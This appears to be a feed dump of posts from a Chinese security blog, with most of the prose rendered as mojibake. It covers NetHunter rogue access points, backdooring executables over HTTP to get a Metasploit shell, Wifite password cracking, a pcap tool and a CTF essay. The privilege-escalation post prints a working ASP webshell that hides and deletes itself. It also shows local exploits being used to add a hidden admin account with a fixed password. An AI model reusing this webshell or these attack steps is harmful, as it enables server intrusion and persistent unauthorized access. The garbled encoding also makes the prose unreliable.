¶å¯å¾å¹³æ»è¿æ¥å°èåAPä¸ï¼è¿è¡åç»æ»å».</p>
<p>éè¦è¯´æçæ¯,NetHunteræ 线æ»å»æ¨¡å,大é½éè¦ä½¿ç¨OTG夿¥USBæ 线ç½å¡.主æµè¯ç(å¯ä»¥è¯è¯Kaliæ¯å¦å¯ç´æ¥è¯å«)ç½å¡åå¯.WN722Nè¾ä¸ºæ¨è,è¿·ä½ çEDUPç½å¡éç¨æ§åè¾å¼º(Raspberry Piä¹å¯ç´æ¥è¯å«),åªæ¯ä¿¡å·å¼ºåº¦..èªç¶å¯æ³èç¥.</p>
<p><img src="/img/nethunter-70.jpg" alt="img"></p>
<p>Manaèç½æå¤ç§Hacking模å¼,å为shèæ¬,å¯èªç±å®å¶.Manaå·¥å
·å®è£
ç®å½ä¸º:</p>
<pre><code>/usr/share/mana-toolkit</code></pre>
<p>å¯å¨èæ¬å卿¤å¤åæ¾:</p>
<pre><code>/usr/share/mana-toolkit/run-mana</code></pre>
<p>æªè·æµéæä»¶åæ¾äº:</p>
<pre><code>/var/lib/mana-toolkit</code></pre>
<p>éè¿NetHunter HomeçManaèç½é¡µé¢å¯æ¹ä¾¿ç对é
ç½®æä»¶è¿è¡ä¿®æ¹:</p>
<p>Hostapdé
ç½®æä»¶</p>
<p><img src="/img/nethunter-71.png" alt="img"></p>
<p>DHCPæå¡é
ç½®æä»¶</p>
<p><img src="/img/nethunter-72.png" alt="img"></p>
<p>DNS欺éªé
ç½®æä»¶</p>
<p><img src="/img/nethunter-73.png" alt="img"></p>
<p>æå¡å¯å¨èæ¬æå¤ä¸ª,åå¯èªç±ç¼è¾ä¿®æ¹:</p>
<p><img src="/img/nethunter-74.png" alt="img"></p>
<p>ä¸å¾å¯¹åºèæ¬start-nat-full.sh,èæ¬éè¦USBæ 线ç½å¡(åå¨ä¸è¡æµé)å¯å¨,æ 线è¿å
¥ä¸ºNAT模å¼,å¹¶å¯å¨ææèæ¬å
æ¬:firelamb,sslstrip,sslsplitç,æªè·æµéå¹¶ä¿å.</p>
<p><img src="/img/nethunter-75.png" alt="img"></p>
<p>start-nat-simple.shåæ ·æä¸è¡æµé,ä½å¹¶ä¸å¯å¨firelamb,sslstrip,sslsplitçèæ¬.</p>
<p><img src="/img/nethunter-76.png" alt="img"></p>
<p>start-nat-simple-bdf.sh,å å
¥äºBDFæ¶æä»£ç Injectå·¥å
·,åé¢ç« èå°å¯¹å
¶æ»å»æè·¯è¿è¡ä»ç».</p>
<p>æ¤å¤,è¿æ</p>
<p>start-noupstream.sh</p>
<pre><code>Manaä½ä¸ºæ æ³ä¸ç½çèåAPå¯å¨,ä½å¯å¸å¼WIFIé»è®¤å¼å¯çç»ç«¯èªå¨è¿æ¥å¹¶æåä¿¡æ¯.</code></pre>
<p>start-noupstream-eap.sh</p>
<pre><code>Manaåæ ·æ æ³ä¸ç½,ä½ä¼è¿è¡EAPæ»å»</code></pre>
<p>ç¼è¾å¥½å¯å¨æä»¶å,Start Attack,ä¼å¼¹çªå¾éå¯å¨èæ¬:</p>
<p><img src="/img/nethunter-77.png" alt="img"></p>
<p>å³å¯å¯å¨æå¡.</p>
<h4 id="toc_11">0x0B Backdooring Executable Over HTTP</h4>
<p>è¿ä¸ªæ»å»æè·¯å°±æ¯è¾æè¶£äº,æ°åè½å¨NetHunterä»å¹´1æ5å·åå¸ççæ¬ä¸ä½ä¸ºKali Nethunterç®åææ°æé
·ç«çç©æ³,æºäº<a href="https://github.com/secretsquirrel/">secret squirrel</a>çgithub项ç®<a href="https://github.com/secretsquirrel/the-backdoor-factory">the-backdoor-factory</a>å<a href="https://github.com/secretsquirrel/BDFProxy">BDFProxy</a>,å¯è®©æä»¬è½»æ¾å°å¯¹ä½¿ç¨HTTPåè®®ä¼ éçäºè¿å¶æä»¶æ³¨å
¥shellcode.</p>
<p>é¦å
建ç«ä¸ä¸ªManaèç½ï¼SSIDè¿é使ç¨é»è®¤åç§°internet,å¯å¨æå¡</p>
<pre><code>cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh</code></pre>
<p><img src="/img/nethunter-80.png" alt="img"></p>
<p>åå¼ä¸ä¸ªShell,ç¼è¾bdfproxy.cfg,æ¤é
ç½®æä»¶å
å«äºé对ä¸åå¹³å°é»è®¤è®¾ç½®çpayload,å¯èªè¡æ´æ¢.ä¸è¿ç±äºæ¾ç¤ºé®é¢,ç¨nanoç¼è¾ææ¬ä¼ä¸è¡è¡å·æ°,è¿æ¯æ¢ä¸ªæ¹å¼ç¼è¾æ¯è¾å¥½.è¿éåªæIPä¿®æ¹192.168.1.151,ä¹å¯å¨Nethunterç䏻颿¿ä¸çMANA Evil Access Pointä¸è¿è¡é
ç½®.</p>
<pre><code>nano /etc/bdfproxy/bdfproxy.cfg</code></pre>
<p>é
置好IPä¹å,å¨Shellä¸ç´æ¥è¾å
¥bdfproxyè¿è¡ä¹.</p>
<p>åæ°å¼ä¸ä¸ªShellå¯å¨Metasploit</p>
<p><img src="/img/nethunter-81.png" alt="img"></p>
<p>ä¸ååå¤å°±ç»ª,çå¾
è¿å
¥èç½APçPCæºä¸ç½ä¸è½½äºè¿å¶æä»¶,卿¤éè¿ç¾åº¦ä¸è½½everything(ç¥å¨å)æ¼ç¤º:</p>
<p><img src="/img/nethunter-82.png" alt="img"></p>
<p>è¿è¡everthing,å 为注å
¥äºpayload,ä¼åºç°èªæ ¡éªå¤±è´¥çæç¤º</p>
<p><img src="/img/nethunter-83.png" alt="img"></p>
<p>æ¥çMSF,å·²æååå¼¹åShelläº.èä¸é¢èªæ ¡éªå¤±è´¥çæç¤ºå°±æ¯MeterPreterçscreenshotå¸®ææªåç :)</p>
<p><img src="/img/nethunter-84.png" alt="img"></p>
<p>ä¸å¾ä¸è¯´,è¿ä¸ªæ°ç¹æ§ççå¾Cool.</p>
<h4 id="toc_12">0x0C Wifiteç ´è§£</h4>
<p>åå°æå,è¿æ²¡ææå°æ çº¿ç ´è§£æ¯ä¸ç§å¦ç;) NetHunteræ¨èçWifiteç ´è§£å·¥å
·æ¯å
¶ææ©éæçåè½ä¹ä¸.ç§»å¨è®¾å¤çä¾¿æºæ§æ´æå©äºéæ¶éå°è¿è¡Wifiå®å
¨æµè¯,åªéæè½½ä¸å¤ç½®æ 线ç½å¡ä¾¿å¯è½»æ¾æå
ç ´è§£.ä¸è¿å¹¶ä¸å»ºè®®ç´æ¥å¨ç§»å¨è®¾å¤ä¸ç ´è§£æå°çå
,å¦è·å åéæ²¡ç»æ,å°±æ¿é«æ§è½è®¾å¤ç ´è§£å§,å¦åæå¯¼è´è®¾å¤æ»æº.</p>
<p>è¿æ¥å¥½å¤ç½®æ 线ç½å¡å,å¨Nethunter主èåéæ©Launch Wifiteå³å¯è¿å
¥</p>
<p><img src="/img/nethunter-90.png" alt="img"></p>
<p>éæ©å¼å¯æ··æç嬿¨¡å¼çç½å¡,éæ©Wlan1</p>
<p><img src="/img/nethunter-91.png" alt="img"></p>
<p>æ«æå¼å§,æ¯5ç§æ´æ°ä¸æ¬¡,å½ç¡®è®¤æ»å»ç®æ åCTRL+Cåæ¢æ«æ</p>
<p><img src="/img/nethunter-92.png" alt="img"></p>
<p>è¾å
¥æ»å»ç®æ åºå·,è¿éå°±é<code>XDSEC-WIFI</code>äº,è¾å
¥2</p>
<p><img src="/img/nethunter-93.png" alt="img"></p>
<p>æå
æååèªå¨è°ç¨åå
¸ç ´è§£,è¿éæºæºçæåå
¸å æ,å
¶èªå¨éåº</p>
<p><img src="/img/nethunter-94.png" alt="img"></p>
<p>æå°çæ¡æå
åæ¾å¨/data/local/kali-armhf/HSç®å½ä¸,å½åè§åæ¯SSID+MAC</p>
<p><img src="/img/nethunter-95.png" alt="img"></p>
<p>å¦æç®æ å¼å¯WPS,åèªå¨è¿è¡PINç ç ´è§£.</p>
<p>Wifiteç¸å¯¹å»çå,ææä½,éåç§»å¨ç»ç«¯.对æ 线ç½å¯ç æµè¯ç¬è
乿åè¿å 次,è¿å
¥æ 线åç»åzANTIçå·¥å
·è°æå³å¯:)</p>
<h4 id="toc_13">0x0D å卿å</h4>
<p>ææ«,å·²å°NetHunter大é¨åå®æç©æ³è¿è¡ç¸åºä»ç»,æç« ä¸ºå·æ¯zingåå¦ä¸é¡ºæ¯le4fåå¦å
±åç¼å,è½åæé,妿ä¸è¶³ä¹å¤ææåº.æç å¼ç,æå¾
ææ´å¤æå·§å享.</p>
MiniProject | Sword Soul
2015-01-13T07:24:59Z
proj
Sword Soul
<ul>
<li><p><a href="http://le4f.github.io/gsmsniff/">GSM Sniffer</a></p>
<pre><code>GSMç½ç»çä¿¡å
æ¢åæå¥ä»¶.
å®ç°èªå¨è½½å
¥ç³»ç»/æ«æåºç«ä¸æåçä¿¡å¹¶ååºçè¿ç¨</code></pre></li>
<li><p><a href="http://le4f.github.io/dnsmaper">DNSMaper</a></p>
<pre><code>åä¼ éæ£æµ
åååä¿¡æ¯æä¸¾(IP/å°å/ç»çº¬åº¦/WEBServer/ç½é¡µæ é¢)
çæç´è§çæ è®°Googleå°å¾</code></pre></li>
<li><p><a href="https://github.com/le4f/aspexec">AspExec</a></p>
<pre><code>Aspç¯å¢,æ¹ä¾¿æ§è¡Expçç®æ´ç³»webshell</code></pre></li>
<li><p><a href="https://github.com/le4f/pcap-analyzer">Pcap Analyzer</a></p>
<pre><code>å¨çº¿è½»éPcapæµéæä»¶åæå·¥å
·
Online Pcap Forensic</code></pre></li>
</ul>
å¨çº¿æ°æ®å
åæå®ç° - Online Pcap Analyzer
2015-01-11T16:00:00Z
post/pcap-online-analyzer
Sword Soul
<h4 id="toc_0">0x00 åè¨</h4>
<p>ä¸è§é´2015å·²ç»æ¥äº,许ä¹
æ²¡ææ´æ°æç« ,ä¸ç¥è¿æå ä½å
³æ³¨ç访客 :(</p>
<p>æ°å¹´æ°æç« è¿æ²¡åºç,å
å享个ååçå·¥å
·:Pcap-Analyzer,å¨çº¿è½»éPcapæµéæä»¶åæå·¥å
·,æéæ±çæåå¯ä»¥åèä¿®æ¹.</p>
<p>项ç®å°å: <a href="https://github.com/le4f/pcap-analyzer">https://github.com/le4f/pcap-analyzer</a></p>
<p>以ä¸å 个åèç¨é:</p>
<ul>
<li> æäºæ°æ®å
åæåè¯,èªç¶æ¯ä¸ä¸Wireshark,ä½é¨ååè½è¾WireSharkæ´ç´è§</li>
<li> å¯ä»¥èèå å
¥æ çº¿æ°æ®å
è§£å¯åææ¨¡å</li>
<li> å å
¥ç¨æ·ç®¡ç模å,ç§»å¨ç»ç«¯å¯ä¸ä¼ åææåçæ°æ®å
(MITMç)</li>
</ul>
<h4 id="toc_1">0x01 ç¹ç¹</h4>
<ul>
<li> è½»é,æè¯».ä½ä¸éåå¤§æ°æ®å
åæ.(å¯ä»¥åºäºæ¤æ¹è¿)</li>
<li> ä¸ä¼ ,åå¨,ä¸è½½åºæ¬åè½</li>
<li> æ°æ®å
åæ
<ul>
<li> æ°æ®å
å表</li>
<li> æ°æ®å
ç»èæ¥è¯¢</li>
<li> Filterè¿æ»¤</li>
<li> æ°æ®å
åæ(æ¥æº/ç®ç:IP/端å£)</li>
<li> Webè¯·æ±æå</li>
<li> DNSè¯·æ±æå</li>
<li> Mailæµéæå</li>
</ul></li>
</ul>
<h4 id="toc_2">0x02 ç®å½ç»æ</h4>
<pre><code>.
âââ app.py(è¿è¡Server)
âââ img(ScreenShot)
âââ server
â âââ __init__.py(Core)
â âââ func.py(è°ç¨å½æ°)
â âââ views.py(è§å¾)
â âââ pcapfile(ä¸ä¼ æä»¶ç®å½)
â âââ db(æ°æ®åº)
â âââ static(éææä»¶)
â âââ templates(模æ¿)
âââ readme.md(项ç®è¯´æ)
âââ requirements.txt(pythonåºä¾èµ)</code></pre>
<h4 id="toc_3">0x03 å®è£
è¿è¡</h4>
<ul>
<li><code>$ git clone https://github.com/le4f/pcap-analyzer.git</code></li>
<li><code>$ cd pcap-analyzer</code></li>
<li><code>$ pip install -r requirements.txt</code></li>
<li><code>$ python app.py</code></li>
<li><code>View http://localhost:8080/</code></li>
</ul>
<h4 id="toc_4">0x04 è¿è¡æªå¾</h4>
<blockquote>
<p>ä¸ä¼ çé¢</p>
</blockquote>
<p><img src="/img/pcap-analyzer-01.png" alt="img"></p>
<blockquote>
<p>åæçé¢</p>
</blockquote>
<p><img src="/img/pcap-analyzer-02.png" alt="img"></p>
<blockquote>
<p>è¿æ»¤å¨</p>
</blockquote>
<p><img src="/img/pcap-analyzer-03.png" alt="img"></p>
<blockquote>
<p>æ°æ®å
ç»è</p>
</blockquote>
<p><img src="/img/pcap-analyzer-04.png" alt="img"></p>
<blockquote>
<p>æ°æ®å
æ¦åµ(æ¥æº/ç®ç:IP/Port)</p>
</blockquote>
<p><img src="/img/pcap-analyzer-05.png" alt="img"></p>
<blockquote>
<p>Web请æ±</p>
</blockquote>
<p><img src="/img/pcap-analyzer-06.png" alt="img"></p>
<blockquote>
<p>DNS请æ±</p>
</blockquote>
<p><img src="/img/pcap-analyzer-07.png" alt="img"></p>
<blockquote>
<p>Mailæµé</p>
</blockquote>
<p><img src="/img/pcap-analyzer-08.png" alt="img"></p>
<h4 id="toc_5">0x05 代ç ä¾èµ</h4>
<ul>
<li> <a href="http://flask.pocoo.org">Flask</a></li>
<li> <a href="http://semantic-ui.com">Semanstic-UI</a></li>
<li> <a href="http://jquery.com/">JQuery</a></li>
<li> <a href="http://kiminewt.github.io/pyshark/">PyShark</a></li>
<li> <a href="https://github.com/mher/chartkick.py">Chartkick</a></li>
<li> <a href="http://api.highcharts.com/highcharts">Highcharts</a></li>
</ul>
<blockquote>
<p>æè°¢ä»¥ä¸é¡¹ç®ä½ä¸ºåè</p>
</blockquote>
<ul>
<li> <a href="https://github.com/thepacketgeek/cloud-pcap">Cloud-Pcap</a></li>
<li> <a href="https://github.com/madpowah/ForensicPCAP">ForensicPcap</a></li>
</ul>
<h4 id="toc_6">0x06 å°ç»</h4>
<p>Pcap-Analyzerææ¶å¹¶ä¸éååæå¤§æµéæ°æ®å
(èæ¶è¾ä¹
),ä¸éåç´æ¥ææ¾ç产ç¯å¢ä¸(å¹¶ä¸å®å
¨).</p>
<p>æ¨å¨ä»£ç å享,妿é®é¢ææè·¯æ¬¢è¿ä¸æèç³».</p>
å
³äºCTFçä¸äºææ³ - About Capture The Flag
2014-11-09T16:00:00Z
essay/about-ctf
Sword Soul
<p>ä¹å好ä¼ä¼´åç<a href="http://z1ng.net/post/pieces/ctfde-xie-gan-xiang">CTFçä¸äºææ³</a>,æä¹æ¥ä¸ç¯,以æ¤çºªå¿µç©èCTFçè¿å å¹´</p>
<p>11å¹´,åé«ä¸æ¯ä¸ç年纪,ç»Tm3yçä»ç»,ç©äºISCC2011çç ´è§£å
³,<a href="http://le4f.net/post/writeup/-ctf-iscc2011-qual-writeup">WriteUpå¯ä»¥æ³æ</a>,乿¯æç¬¬ä¸æ¬¡ç¥éè¿ç§HackGameçåå¨,䏿¥æ¥è§£é¢çè¿ç¨ä¸ä¹å¦å°äºå¹¶è®¤å¯äºèªå·±æå¦çç¥è¯.ä¸å¾ä¸è¯´,ISCCå¨ç§æ®ä¸å½±åäºå¾å¤äºº.</p>
<p>å°äºè¥¿çµ,å¨XDSECè§è¯äºç¬¬äºå±è¥¿çµç½ç»æ»é²å¤§èµ,认è¯äºå¾å¤æå,ä¹é¢æäººå¤æäºº,åææé¿çéç.飿¶è¥¿åé¶ææäºå
¬å¸ä¸¾è¡æ¯èµæ¬²æ¨è¡ç³»ç»/硬件/å®éªå¹³å°ç,ç±æ¤ä¹ä¸lyåå¦ä¸èµ·æäºå 次æ¯èµ,å¨è¥¿ååºè½ç©è¿ç§Gameçå妿¬ä¹ä¸å¤,就幸è¿çä¸è¾¹æ¿å åä¸éå¦ç¥è¯.æ¯èµè¿å¤ä»¥ä¼ ç»çå°é¢ç®+æ¸é宿çå½¢å¼,å¶å°çå°Sycloveråºçé¢ç®,ä¹ä¸ºæ¤æ±è¯è¿CasperKid,使¯èµæ»ä¹è½æ¶è·å¾å¤ä¹è¶£.</p>
<p>12å¹´,å¼å§è´è´£è¥¿çµæ¯èµå
·ä½ç¯å¢,é£å¹´è®¤è¯çå³èµæåç°é½å·²ç»å·¥ä½äº,é¤äºLight 4 Freedomé£ä¸ªå¯ç±çem;-)</p>
<p>13å¹´,å°ç½ç»æ»é²å¤§èµXDCSCæ´åå°XDCTF,飿¶å,å½å
è¿æ²¡æç¨CTFå®ä¹æ»é²æ¯èµ.åªæ¯å³èµç宿ç¯å¢è®¾ç½®è½å¤å¤æå´ä¸çåç,ä½ä¹æç¡®äºXDCTFçç¹è²--ç½ç»æ»é²å®æ,å
±åè¿æ¥.èCTFçåå,éçBlue-Lotusçæ¨å¨,å½å
å·²ç»å¼å§æ»¡å¤§è¡è·,åç±»ç»ç»,妿 ¡,å
¬å¸é½æCTF,ä¹ééåè§å°åä¸ä¸ªACMæ¶ä»£çå°æ¥.</p>
<p>14å¹´,ç»ç»çLéä¼å¼å§å¯¹CTFTimeçå°è¯,å æ¬¡æ¯èµæ·æ¼å°½è´çé宵ç©ä¸¤å¤©,乿¯é¾å¿çç»éª.乿¾æå¾å¨14å¹´XDCTFæ¨è¡å½å
çå¦ç±»CTFTime,ä¹åå·§åææ¯å¿
ç¶ç,äºè§£å°è¯¸èè叿£ç¹å¤XCTFèèµ,形弿¨¡ä»¿å½å¤çCTFTime,åªæ¯å¯¹XCTFèèµä¸çæ¯èµæäºæ´å¼ºæ§å¶å,妿¤ä¾¿æäºèèµå³èµ.èæä»¬ç计åä¹å ç§ç§åå Cancel.</p>
<p>å¨è¿åå¹´æ¶é´,æå¯¹CTFççæ³ä¹å夿 常.æå¾æ¨è¡å®æçCTF模å¼,ä½ç»ç©¶æç½,æ è®ºææ ·æ¨¡æå®æ,æ»ä¼ç¼ºå°å®æä¸ä¼å¤å
ç´ ,å
æ¬åèµäººåçæ½æè¯--åªè½å°½å¯è½å°ç¯å¢è®¾ç½®è´´è¿å®æ.ä¸é´ä¹æ¾ä¸ºåç§æ è¥å
»é¢ç®åæ§½è¿,乿¾ä½ä¼heigeçæ³æ³:ç©æ¯èµå¹²å,æ¯ä¸æä¸æ»,èæ¯èµå´ä¸æ¯,æçæç»©ä¸å¥½è¿å®¹æè¢«éè§.</p>
<p>äºæ¯,ææ´æ¿å°CTFè§ä½å¨±ä¹æ§,æå®½è§éçHackGame.åªæ¯å½å
大ç¯å¢æ¾ç¶ä¸ä¼è¿æ ·çº¯æ´,ä¸å©çç¸å
³çCTFæ¬è´¨ä¹æ¯æ²¡éç:ç©ç好,åå©åæ¶,ç©çæ«,åç¥ä½å¤ä¸å¦äºº.ä½å©ç大äº,å²çªå°±å¤äº.AliCTF线ä¸èµCheckæ¶é´å·²ç¶è¶
è¿ç«èµæ¶é´,ææä¹æ¯åå³èµä¸°åå¥éå½±å.尽管æä¸ç´å¯¹åè¯,çµè¯Checkè¿ç§æ¨¡å¼æè§æ¯å¯¹CTFæ¬èº«ç侮辱,æ¯å±æäºç°å®çæ å¥,ä½ç°å®å°±æ¯è¿ä¹è®©äººæ å¥:(</p>
<p>æ£å·§è¿ä¸¤å¤©Léä¼åå¸çº³çå¹´è½»æååå äºXCTFèèµHCTF,å°ä¼åå¾æç²¾å,忍åç¹è§£åºä¸éé¢ç®,ä¸å¤§æ©èµ·æ¥,åç°Léä¼è´¦å·è¢«å°å·,宿¹è¡¨ç¤ºç±äºç¸è¿çæ¶é´Lä¸Wargameç¨ç±»ä¼¼çç²æ³¨è¯å¥æ¿å°Flag,å¨IRCå
¬åLä¸WarGameä½å¼.åå°ä¼å主å¨èç³»å®æ¹å¹¶æä¾èªå·±è§£é¢æè·¯,宿¹åæ¢å¤è´¦å·,使ªå¨IRCæå
¬åæ¾æ¸
,ä»é审æ¥,åæ¶è§£é¢æè·¯ä¸ºå®æ¹"éé¢ææ¼æ´",è§£æ³æ æ,åªæèµ100积å.</p>
<p>ææ¯è¾æ,ä¸åæèµ·åºå¬è¯´è¿ä»¶äºæ
,询é®äºåé¢çå°ä¼å,æ ¹æ¬ä¸è®¤è¯WarGameå¢é.ä¸å®æ¹èç³»,è¦æ±æ£å,宿¹æåºè¿æå¼è®®,å°é审æ¥.ä¸åéè¿å
¶ä»éå¾äºè§£å°,WarGameå¢éè§£é¢äººä¹ä¸å®æ¹ç³è¯,宿¹ä»ä¿ç对æä»¬ä¸¤éçè´¨ç.</p>
<p>ç°å¨å°ä¼åå¾çæ°,ææ³,æ¾å°ä»»ä½ä¸ä¸ªäººèº«ä¸,å¦æçæ¯èªå·±è¾è¾è¦è¦ååºæ¥çé¢ç®,ä¸è¢«è®¤å¯å¤ä¸ºä½å¼é½æ¯å¾å¤§ç伤害--å¯¹ææ¯ä¸äººå,å
¼èæä¹.</p>
<p>èä»¥ææµ
è§,åèµéä¼ç©å°åæ¨åäºç¹åé¢ç®,æ¯å¯¹ä¸»åæ¹åºé¢çå°é,ä½ä½ä¸ºä¸»åæ¹,以æåçæ³æ³å»çåèµæå,è¯æ®ä¸è¶³,ä»
å 为太巧åäº,ç®ç´æ²¡æ³è§£é,å°±æªç»å®æ¦æå
¬åéä¼ä½å¼,å¨ä¸¤æ¯éä¼åæåºå¼è®®,ä¸ç»åºåèªè§£æ³æ¶,仿´æ¿æç¸ä¿¡å·§å没æ³è§£é,æä¸è®¤ä¸ºè¿æ¯å¯¹åèµäººåä¸åèµéä¼çå°é.</p>
<p>è对äºXCTFèèµç模å¼,仿å¾
åå±,è³å°ä»ææ¥ç,ç°æä¸äºè§åæå¾
æ¹è¿.å¦å¤,ææ¥æå»,è¿æ¯é£å ä¸ªèµæ£,ççä¸ç¦ä¹ @ç½çº¢redrain ;-)</p>
<p>æªæ¥å±äºæªæ¥ç人.ä¹åªæ¯åæ§æ¬ä¸æªæ¥çXDCTF,æå¾
æ´è´´è¿å®æ:-)</p>
<blockquote>
<p>XDCTF --- ç½ç»æ»é²,å
±åæé¿.</p>
</blockquote>
<pre><code>æè°¢åå¹´æ¥,æ¥XDCTFåèµçä¼ä¼´ä»¬.</code></pre>
Windows x64䏿æExploitæ´ç - Windows x64 Local Privilege Escalation
2014-10-26T16:00:00Z
post/windows-x64-local-privilege-escalation
Sword Soul
<p>é¦å<a href="http://www.secpulse.com/archives/1597.html">å®å
¨èæ</a>,æªææè¯·å¿è½¬è½½.</p>
<h4 id="toc_0">0x00 åè¨</h4>
<p>å¨CVE-2014-4113åºæ¥å,x64ç¯å¢ä¸çææåæ¯ä¸ççæçå
æ.卿¤æ¼æ´æ«é²å,PR/IIS溢åº/LPK嫿ç对64ä½çæ¬é½æ ææ,ç½ä¸å
¬å¼æ¾æä¸ä¸ªExpææ,代å·ä¸ºMS10048x64.</p>
<p>æ¬æè°¨è®°å½x64ä¸å¯ææçExp䏿µè¯è¿ç¨.æä¸èèä¾èµç¬¬ä¸æ¹æå¡(å¦MSSQL/MYSQL)ççææ</p>
<pre><code>æµè¯ç¯å¢:
Windows Server 2003 Enterprise x64 Edition - VL
IIS 6.0</code></pre>
<h4 id="toc_1">0x01 æåä¸ä¸ªAspExecå
</h4>
<p>卿µè¯ææExpä¹å,å使æä»¬å·²è·å¾ä¸ä¸ªä¸å¥è¯åé¨.</p>
<p><img src="/img/x64-01.png" alt="img"></p>
<p>èæç»ç«¯çå°æéä¸è¶³,é»é»çä¼ ä¸ä¸ªcmd.exe,设置好åéåå¯ä»¥æ£å¸¸æ§è¡å½ä»¤äº,ç©ä¸ææ°çCVE-2014-4113çexpå
</p>
<p><img src="/img/x64-02.png" alt="img"></p>
<p>æºæºçåç°æ²¡æä»»ä½ååº,è¿å¨ms10048ä¸ä¹ææä½ç°.64ä½expææä¸32ä½ææææåºå«,32ä½ä¸åå¨èæç»ç«¯æ åæ°ææçexp,å³ä½¿ä¼ å,乿¯éè¿ä»¥ä¸æ¹å¼æ§è¡:</p>
<pre><code>c:\cmd.exe /c c:\exp.exe parms</code></pre>
<p>使¯x64ä¸çå 个expåéè¦è¿æ ·æ§è¡:</p>
<pre><code>c:\exp.exe c:\recycler\server.exe</code></pre>
<p>æä¼ 大马坿§è¡Exp,ä½å¼ºè¿«ççè¿æ¯å欢èªå·±å¨æä¸°è¡£è¶³é£(亦å¯ä»¥ç§°åéå¤é è½®åXD),kyo327æ¾å¨ãæµ
è°å¨webshell䏿§è¡å½ä»¤ã䏿ææå,å
å¥ä¸é¨å代ç 窥ç¥ä¸äº:</p>
<pre><code><object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
set newshell=createobject("shell.application")
newshell.ShellExecute path,parms,"","open",0
result="Shell.application Execute OK."
Elseif method="self.delete" Then
file.attributes = 0
fso.deletefile(file_name)
set fso = nothing
End If
%></code></pre>
<p>以ä¸ä¸ºåå©Wscript.shellä¸Shell.applicationä¸¤ç§æ¹å¼æ§è¡å½ä»¤,为å 强ä¸ç¹éè½æ§,å å
¥å è¡ä¿æ¤ä»£ç (åªè¯»,ç³»ç»,éè):</p>
<pre><code><%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%></code></pre>
<p>æåå®ç°ææå¦ä¸:</p>
<p><img src="/img/x64-03.png" alt="img"></p>
<p>éè屿§:</p>
<p><img src="/img/x64-04.png" alt="img"></p>
<p>å·¦ä¸è§æ¾ç¤ºæ¯æç»ä»¶,å³ä¾§pathå¡«åæ§è¡ç¨åºè·¯å¾(å¦ä¸ä¼ çcmdæexp),parmså¡«ååæ°(cmdæ§è¡é/cåæ°,expä¸éè¦)</p>
<p>ä¸ä¸ªButtonåå«è¡¨ç¤º:以script.shellæ§è¡å½ä»¤/以Shell.applicationæ§è¡å½ä»¤/èæ¬èªå é¤</p>
<p>ç®åçä¸ä¸ªç¤ºä¾:</p>
<p><img src="/img/x64-05.png" alt="img"></p>
<p>以ä¸ä»£ç 卿¤å¤å¼æº:</p>
<p><a href="https://github.com/le4f/aspexec">https://github.com/le4f/aspexec</a></p>
<h4 id="toc_2">0x02 MS10048ææ</h4>
<p>MS10048çexploitå32ä¸64ä¸¤çæ¬,æ¼æ´åå¨äºxxxCreateWindowEx()彿°å建çªå£æ¶çæ¬å°æéæå.</p>
<p>64ä½ç¯å¢ä¸å¯ä»¥ç¨ä»¥æ§è¡æ¨é©¬å鍿ææ,é¦å
æ¿æ¥K8Teamçä¸ä¸ªæ åæ°æ·»å ç¨æ·,éè¿APIæ·»å ç¨æ·,å¨å 餿ç¦ç¨net1.exeæ¶äº¦å¯ç´æ¥æ·»å :</p>
<pre><code>ç¨æ·åk8team$,å¯ç k8team!@#</code></pre>
<p>åå©AspExec,å¯ä»¥å¾æ¹ä¾¿çææ,ä¸ä¼ exp(ms10048.exe)䏿·»å ç¨æ·ç¨åº(user.exe)</p>
<pre><code>Path: c:\inetpub\wwwroot\ms10048.exe
Parms: c:\inetpub\wwwroot\user.exe</code></pre>
<p>注æä¸éè¦/cåæ°,使ç¨wscript.shellæshell.applicatinä¾å
·ä½ç¯å¢è®¾ç½®èå®,以é»è®¤(wscript.shell)为ä¾,æ§è¡åçæçå»¶è¿:</p>
<p><img src="/img/x64-06.png" alt="img"></p>
<p>æ¥çç®æ 主æºç¨æ·,æ·»å æå</p>
<p><img src="/img/x64-07.png" alt="img"></p>
<p>è³äºuser.exeæ¿æ¢æå«çåé¨ä¹é½ç±»ä¼¼ç.ms10048å½±åx64çæ¬ä¸»è¦æ¯Windows2003,å¯¹äºæ°çç³»ç»è¿æ¯æµè¯CVE-2014-4113å§</p>
<h4 id="toc_3">0x03 CVE-2014-4113ææ</h4>
<p>ç¸è¾äºMS10048,æ°çexpææè¦å¥½å¾å¤,Expåæ ·å32/64ä¸¤ä¸ªçæ¬,åæ ·ä½¿ç¨user.exeæ·»å è´¦æ·æµè¯:</p>
<pre><code>Path: c:\inetpub\wwwroot\64.exe
Parms: c:\inetpub\wwwroot\user.exe</code></pre>
<p>ä¸ä¼ 64.exe(exp)æ§è¡ååæ¾å¦ä¸:</p>
<p><img src="/img/x64-08.png" alt="img"></p>
<p>åºæ¬æ²¡æææ¾å»¶è¿,å¾é¡ºå©çæ·»å è´¦å·</p>
<p><img src="/img/x64-09.png" alt="img"></p>
<h4 id="toc_4">0x04 å°ç»</h4>
<p>以䏿´çä»
为对å®é
ç¯å¢æ¨¡ææµè¯,顺便å份代ç å享;)</p>
<p>妿é误æä¸è¶³,è¿ææç¹.è¥ææ°çExploitåºç°,ç¬è
ä¹ä¼åæ¶è¡¥å
æµè¯.</p>
[CTF]AliCTF-Final-2014-Writeup
2014-10-19T16:00:00Z
writeup/-ctf-alictf-final-2014-writeup
Sword Soul
<p>::L Team:: <a href="http://l-team.org/">http://l-team.org</a></p>
<h4 id="toc_0">0x00 åè¨</h4>
<p>ä¹åAliCTF线ä¸å³èµ,å ä¹åæªåå è¿æ¤ç±»GameBoxæ»é²çCTFå³èµ,ç»éªä¸è¶³,卿¤åä¸å°ç»,å为å享.</p>
<p>ç«èµå®ç½: http://www.alictf.com/</p>
<p>å³èµå
